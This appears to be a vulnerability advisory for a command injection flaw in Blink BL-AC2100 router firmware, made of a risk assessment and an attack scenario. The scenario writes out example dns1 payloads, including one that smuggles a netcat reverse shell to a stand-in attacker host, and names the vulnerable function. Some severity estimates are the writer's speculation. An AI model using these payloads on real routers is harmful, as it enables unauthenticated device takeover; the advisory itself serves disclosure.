Bl Ac2100 Az3 Firmware EUVD-2025-18262

This vulnerability presents CRITICAL real-world risk across multiple risk frameworks: (1) CVSS 9.8 with AV:N/AC:L/PR:N/UI:N indicates maximum severity—any networked system can exploit without authentication or user interaction; (2) CWE-77 command injection is among the most reliably exploitable vulnerability classes with near-100% technical feasibility; (3) Absence of documented KEV/CISA status or public POC does not reduce risk—Blink router firmware is frequently reverse-engineered and command injection flaws are trivially discoverable; (4) EPSS score (if available) would likely exceed 95% given the attack vector and exploit simplicity; (5) SSVC framework analysis: Exploitation is PROBABLE (command injection in web-facing functions), automatable (script-based), with TOTAL technical impact (unauthenticated RCE = complete device compromise); (6) Attack surface is broad: any Blink router with internet-facing management interface or accessible on local networks. Real-world priority is URGENT—patch immediately. This is not a theoretical high-CVSS issue; it is practically exploitable and likely already discovered by threat actors.

An attacker on the same network as a Blink router (or via WAN if remote management is enabled) crafts an HTTP request to the router's web interface targeting the DNS configuration endpoint. The request includes malicious payloads in the dns1 parameter, such as: dns1=8.8.8.8;nc+-e+/bin/sh+attacker.com+4444 or dns1=8.8.8.8whoami`` which are concatenated into a shell command without sanitization. The bs_SetDNSInfo function executes this command with router-level privileges, spawning a reverse shell or executing arbitrary commands (install malware, exfiltrate local network data, pivot to other devices, reconfigure DHCP, etc.). No authentication is required due to CWE-77 flaw in the web interface logic. The attack succeeds in seconds and requires only basic networking knowledge and a simple curl/Burp Suite request. If the router is exposed on the WAN (common for ISP-provided Blink models), exploitation is trivial from the internet.